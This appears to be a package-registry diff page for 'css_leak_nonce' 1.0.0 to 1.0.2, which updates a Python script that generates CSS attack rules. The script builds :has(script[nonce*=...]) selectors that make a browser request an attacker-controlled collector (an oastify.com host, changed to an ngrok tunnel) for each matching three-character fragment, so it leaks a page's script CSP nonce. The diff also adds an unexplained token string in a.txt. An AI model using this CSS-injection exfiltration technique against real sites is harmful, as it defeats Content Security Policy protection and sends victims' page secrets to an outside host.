css_leak_nonce 1.0.0 → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (5) hide show
  1. package/a.py +3 -3
  2. package/a.txt +1 -0
  3. package/package.json +1 -1
  4. package/rules.css +46657 -46657
  5. package/server.py +30 -0
package/a.py CHANGED
@@ -8,10 +8,10 @@ strings = [''.join(perm) for perm in permutations]
8
8
  rules = ""
9
9
  trigger = "body{ background:"
10
10
  for string in strings:
11
- rules += f':has(script[nonce*="{string}"]){{--tosend-{string}: url(http://c3gvd9g0sph6rj4g5325c6lpdgj770vp.oastify.com?x={string});}}\n'
12
- trigger += f'var(--tosend-{string}, none)'
11
+ rules += f':has(script[nonce*="{string}"]){{--tosend-{string}: url(https://bf4d-42-112-181-236.ngrok-free.app/?x={string});}}\n'
12
+ trigger += f'var(--tosend-{string}, none),'
13
13
 
14
- trigger += "}"
14
+ trigger += "var(--tosend-aaa, none)}"
15
15
  with open("rules.css", "w+") as f:
16
16
 
17
17
  f.write(rules + "\n" + trigger + "\n")
package/a.txt ADDED
@@ -0,0 +1 @@
1
+ ws289c7zu9hewdjtfdnctsxxt4rdnwq6
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "css_leak_nonce",
3
- "version": "1.0.0",
3
+ "version": "1.0.2",
4
4
  "main": "index.js",
5
5
  "scripts": {
6
6
  "test": "echo \"Error: no test specified\" && exit 1"